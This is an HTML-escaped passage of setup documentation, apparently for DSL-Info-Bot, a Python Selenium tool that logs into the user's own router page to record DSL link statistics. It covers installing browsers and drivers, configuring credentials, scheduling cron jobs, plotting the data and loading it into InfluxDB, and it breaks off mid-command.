Clone Repository
&lt;a href="#clone-repository" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Clone the repo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/thanoskoutr/DSL-Info-Bot.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Change directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd DSL-Info-Bot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="python-virtual-environment"&gt;
Python Virtual Environment
&lt;a href="#python-virtual-environment" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;h4 id="install-venv"&gt;
Install venv
&lt;a href="#install-venv" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;On Debian/Ubuntu systems, you need to install the &lt;code&gt;python3-venv&lt;/code&gt; package using the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install python3-venv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="create-virtual-environment"&gt;
Create virtual environment
&lt;a href="#create-virtual-environment" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Create a virtual environment on the top directory of the project:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m venv env
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="activate-the-virtual-environment"&gt;
Activate the virtual environment
&lt;a href="#activate-the-virtual-environment" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source env/bin/activate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="install-required-dependencies"&gt;
Install required dependencies
&lt;a href="#install-required-dependencies" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m pip install -r requirements.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip3 install -r requirements.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Minimum Python version tested: &lt;code&gt;Python 3.6.9&lt;/code&gt;
Maximum Python version tested: &lt;code&gt;Python 3.8.5&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="dependencies"&gt;
Dependencies
&lt;a href="#dependencies" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;You can install manually, without a virtual environment, the project dependencies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/selenium/"&gt;selenium&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip install selenium
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/pandas/"&gt;pandas&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip install pandas
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/plotly/"&gt;plotly&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip install plotly
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="download-web-driver-for-selenium"&gt;
Download Web-Driver for Selenium
&lt;a href="#download-web-driver-for-selenium" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Selenium requires a driver to interface with the chosen browser. For this project the Chrome and Firefox driver is supported, used in &lt;em&gt;headless&lt;/em&gt; mode in order to not require a GUI.&lt;/p&gt;
&lt;h4 id="install-chromium"&gt;
Install Chromium
&lt;a href="#install-chromium" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;In order to use the chromium driver, chromium or chrome needs to be installed. If you have already a chrome installation in your system, there is nothing to be done. Else, install a chrome version.&lt;/p&gt;
&lt;p&gt;For Ubuntu 20.04, use &lt;code&gt;wget&lt;/code&gt; to download the latest Google Chrome &lt;code&gt;.deb&lt;/code&gt; package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Install Google Chrome package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install ./google-chrome-stable_current_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="download-chrome-driver"&gt;
Download Chrome Driver
&lt;a href="#download-chrome-driver" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Download the chrome browser driver, based on the installed chromium version in your system from this &lt;a href="https://sites.google.com/chromium.org/driver/"&gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Check Chrome version:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;google-chrome --version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For the Chrome version 89 driver, for Linux 64-bit, download with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://chromedriver.storage.googleapis.com/89.0.4389.23/chromedriver_linux64.zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Extract the driver, using &lt;code&gt;unzip&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;unzip chromedriver_linux64.zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="install-mozilla-firefox"&gt;
Install Mozilla Firefox
&lt;a href="#install-mozilla-firefox" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;In order to use the firefox driver, Firefox needs to be installed. If you have already a Firefox installation in your system, there is nothing to be done. Else, install a Firefox version from &lt;a href="https://www.mozilla.org/en-US/firefox/download/thanks/"&gt;here&lt;/a&gt; or:&lt;/p&gt;
&lt;p&gt;For Ubuntu/Debian Distros&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install firefox
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For Arch/Arch based Distros&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo pacman -S firefox
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="download-firefox-driver"&gt;
Download Firefox Driver
&lt;a href="#download-firefox-driver" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Download the Firefox browser driver, based on the installed Firefox version in your system from this &lt;a href="https://github.com/mozilla/geckodriver/releases"&gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Check Firefox version:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;firefox --version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For the latest Firefox version driver, for Linux 64-bit, download with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://github.com/mozilla/geckodriver/releases/download/v0.31.0/geckodriver-v0.31.0-linux64.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Extract the driver, using &lt;code&gt;tar&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar -zxvf geckodriver-v0.29.0-linux64.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="add-driver-to-path"&gt;
Add driver to PATH
&lt;a href="#add-driver-to-path" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;In order for selenium to use the binary driver, it has to be in the &lt;code&gt;PATH&lt;/code&gt; environmental variable. The preferred place for local binaries is to place the driver in the &lt;code&gt;/usr/local/bin&lt;/code&gt; directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# For Chrome Driver&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Run from the location where your binary is downloaded and extracted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mv chromedriver /usr/local/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# For Firefox Driver&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Run from the location where your binary is downloaded and extracted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mv geckodriver /usr/local/bin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="selenium-guides---documentation"&gt;
Selenium Guides - Documentation
&lt;a href="#selenium-guides---documentation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://selenium-python.readthedocs.io/index.html"&gt;Selenium with Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.selenium.dev/documentation/en/"&gt;Selenium Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="add-environmental-variables"&gt;
Add Environmental Variables
&lt;a href="#add-environmental-variables" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Create the &lt;code&gt;.env&lt;/code&gt; file from &lt;code&gt;.env-test&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp .env-test .env
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Fill in the environmental variables needed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Router&amp;rsquo;s web-based setup page (like &lt;code&gt;http://192.168.1.1/&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Router&amp;rsquo;s Username&lt;/li&gt;
&lt;li&gt;Router&amp;rsquo;s Password&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ROUTER_PAGE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;http://192.168.1.1/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ROUTER_USERNAME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;username
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ROUTER_PASSWORD&lt;span style="color:#f92672"&gt;=&lt;/span&gt;password
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="run-program"&gt;
Run Program
&lt;a href="#run-program" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;From the project&amp;rsquo;s top directory, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 main.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;A file named &lt;code&gt;dsl_info.csv&lt;/code&gt; should be created in the directory that contains the fetched info.&lt;/li&gt;
&lt;li&gt;A file named &lt;code&gt;dsl_info_headers.csv&lt;/code&gt; should be created in the directory that contains the info headers.&lt;/li&gt;
&lt;li&gt;Firefox is the default browser, running without GUI.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="run-program-with-arguments"&gt;
Run Program with arguments
&lt;a href="#run-program-with-arguments" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;From the project&amp;rsquo;s top directory, run with &lt;code&gt;help&lt;/code&gt; option to see all available options:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ python3 main.py -h
usage: main.py [-h] [-d {firefox,chrome}] [--headless {True,False}] [-t TIMEOUT] [-f FILE]
DSL-Info-Bot - A python bot, that uses Selenium, in order to automatically access the Router/Modem&amp;#39;s web-based setup page and get DSL Link
info.
optional arguments:
-h, --help show this help message and exit
-d {firefox,chrome}, --driver {firefox,chrome}
The browser driver to use.
--headless {True,False}
Run without a GUI.
-t TIMEOUT, --timeout TIMEOUT
The maximum time to wait for page loading.
-f FILE, --file FILE The file name of the csv where the data will be saved.
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="run-plot-script"&gt;
Run Plot Script
&lt;a href="#run-plot-script" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;From the project&amp;rsquo;s top directory, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 create_plot.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Reads the &lt;code&gt;.csv&lt;/code&gt; files with the headers and the data&lt;/li&gt;
&lt;li&gt;Creates a &lt;code&gt;plot.html&lt;/code&gt; file that can be viewed on a browser.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="run-plot-script-with-arguments"&gt;
Run Plot Script with arguments
&lt;a href="#run-plot-script-with-arguments" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;From the project&amp;rsquo;s top directory, run with &lt;code&gt;help&lt;/code&gt; option to see all available options:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ python3 create_plot.py -h
usage: create_plot.py [-h] [-c CSV] [-d CSV_HEADERS]
A plot script in order to visualize the data in the csv file.
optional arguments:
-h, --help show this help message and exit
-c CSV, --csv CSV The file name of the csv with the data.
-d CSV_HEADERS, --csv_headers CSV_HEADERS
The file name of the csv with the data headers.
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="serve-plot---view-on-browser"&gt;
Serve Plot - View on Browser
&lt;a href="#serve-plot---view-on-browser" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If you are in a headless environment you can serve the &lt;code&gt;.html&lt;/code&gt; files using the &lt;code&gt;http.server&lt;/code&gt; python module.&lt;/p&gt;
&lt;p&gt;By running this command from the project&amp;rsquo;s top directory, you&amp;rsquo;ll be able to access the files in your directory through your browser at &lt;code&gt;localhost:8420&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m http.server &lt;span style="color:#ae81ff"&gt;8420&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There are more elegant (and safe) ways to do this, but this is a quick and dirty solution.&lt;/p&gt;
&lt;h2 id="create-a-cron-job"&gt;
Create a Cron Job
&lt;a href="#create-a-cron-job" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In order to run the script after a time interval on a linux machine:&lt;/p&gt;
&lt;p&gt;Open crontab:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crontab -e
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In order to run the script every 5 minutes, change the path to the repo accordingly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;*/5 * * * * /usr/bin/env bash -c &lt;span style="color:#e6db74"&gt;&amp;#39;export PATH=&amp;#34;/usr/local/bin:$PATH&amp;#34; &amp;amp;&amp;amp; source /path/to/DSL-Info-Bot/env/bin/activate &amp;amp;&amp;amp; python3 /path/to/DSL-Info-Bot/main.py&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In order to run the script, update the plot every 5 minutes and serve the html plot, change the path to the repo accordingly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;*/5 * * * * /usr/bin/env bash -c &lt;span style="color:#e6db74"&gt;&amp;#39;export PATH=&amp;#34;/usr/local/bin:$PATH&amp;#34; &amp;amp;&amp;amp; source /path/to/DSL-Info-Bot/env/bin/activate &amp;amp;&amp;amp; python3 /path/to/DSL-Info-Bot/main.py &amp;amp;&amp;amp; python3 /path/to/DSL-Info-Bot/create_plot.py&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@reboot cd /path/to/DSL-Info-Bot &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; python3 -m http.server &lt;span style="color:#ae81ff"&gt;8420&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&amp;amp;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We need to use the bash shell in order to execute the &lt;code&gt;source&lt;/code&gt; command and we need to export the &lt;code&gt;PATH&lt;/code&gt; variable in order for cron to be able to find the driver.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;dsl-info.csv&lt;/code&gt; file should be created or updated in the repo directory.&lt;/p&gt;
&lt;h2 id="influxdb"&gt;
InfluxDB
&lt;a href="#influxdb" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In order to add &lt;code&gt;dsl_info.csv&lt;/code&gt; to a InfluxDB Bucket, we have to convert theme using the &lt;code&gt;convert_times.py&lt;/code&gt; script that converts the &lt;code&gt;showtime_start_value&lt;/code&gt; and the &lt;code&gt;current_date&lt;/code&gt; values to &lt;code&gt;duration&lt;/code&gt; and &lt;code&gt;timestamp&lt;/code&gt; data formats that InfluxDB can process.&lt;/p&gt;
&lt;p&gt;To do that, create a new &lt;code&gt;dsl_info.csv&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mv dsl_info.csv dsl_info_influxdb.csv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And convert the fields on the new &lt;code&gt;dsl_info_influxdb.csv&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 convert_times.py dsl_info_influxdb.csv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can add them to a &lt;code&gt;DSL-Info&lt;/code&gt; bucket using the following commands, by passing only one measurement at each time:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;influx write dryrun -b DSL-Info -f dsl_info_influxdb.csv &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;#constant measurement,errors&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;#datatype long,ignored,ignored,ignored,ignored,dateTime:RFC3339&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;errors_crc_up,errors_crc_down,errors_fec_up,errors_fec_down,showtime_start_value,current_date&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;influx write dryrun -b DSL-Info -f dsl_info_influxdb.csv &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;#constant measurement,errors&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;#datatype ignored,long,ignored,ignored,ignored,dateTime:RFC3339&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
